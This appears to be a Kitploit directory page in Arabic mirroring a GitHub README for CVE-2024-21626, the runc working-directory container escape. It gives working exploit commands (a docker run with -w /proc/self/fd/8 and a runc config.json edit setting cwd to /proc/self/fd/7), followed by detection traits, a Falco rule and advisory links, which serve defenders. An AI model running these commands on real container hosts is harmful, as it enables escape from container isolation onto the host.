Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-21626 — PoC والكشف عن CVE-2024-21626 | Kitploit
أدوات/GitHubGitHub/nitrocao/cve-2024-21626
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالكشف التسللالاستجابة للحوادثالهروب من الحاوية
GitHubnitrocao/cve-2024-21626

CVE-2024-21626

PoC والكشف عن CVE-2024-21626

عرض المستودع
77127منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-21626

للحصول على شرح مفصل لهذه الثغرة، يُرجى الرجوع إلى مقالتي.

الاستغلال

الاستغلال عبر تشغيل حاوية

لا حاجة لبناء صورة مخصصة، فقط قم بتشغيل حاوية باستخدام الوسيط -w:

root@kitploit:~
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

الاستغلال عبر تشغيل حاوية

الاستغلال عبر تنفيذ أمر داخل حاوية قيد التشغيل

الاستغلال عبر تنفيذ أمر داخل حاوية قيد التشغيل

الاستغلال عبر runc نفسه

root@kitploit:~
~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo

الاستغلال عبر runc نفسه

كيفية الكشف

تتميز الاستغلالات بالخصائص التالية:

  • ستقوم حاوية بتنفيذ execve(2) لعملية ذات دليل عمل خاص يبدأ بـ /proc/self/fd/.
  • ستقوم حاوية بإنشاء روابط رمزية عبر symlink(2) أو symlinkat(2) مع رابط دليل هدف خاص يبدأ بـ /proc/self/fd/.
  • ستقوم حاوية بفتح ملفات عبر open(2) أو openat(2) أو openat2(2) بأسماء ملفات مثل /proc/\d+/cwd/.*.

كاشف تسرب الحاويات الديناميكي من synk

https://github.com/snyk/leaky-vessels-dynamic-detector

Falco

إليك قاعدة Falco المخصصة:

root@kitploit:~
- macro: container
  condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
  desc: >
    Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
  condition: >
    container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
  output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
  priority: CRITICAL

لكن تصفية النتائج الإيجابية الخاطئة باستخدام proc.name ليست فكرة جيدة.

كشف الاستغلالات باستخدام Falco

المراجع

  • https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
  • https://github.com/opencontainers/runc/commit/8e1cd2f56d518f8d6292b8bb39f0d0932e4b6c2a
  • https://github.com/opencontainers/runc/commit/f2f16213e174fb63e931fe0546bbbad1d9bbed6f
  • https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48
  • https://github.com/opencontainers/runc/commit/ee73091a8d28692fa4868bac81aa40a0b05f9780
  • https://access.redhat.com/security/cve/cve-2024-21626
  • https://github.com/snyk/leaky-vessels-dynamic-detector
  • https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-21626
  • https://github.com/snyk/leaky-vessels-dynamic-detector
تنزيل الأداة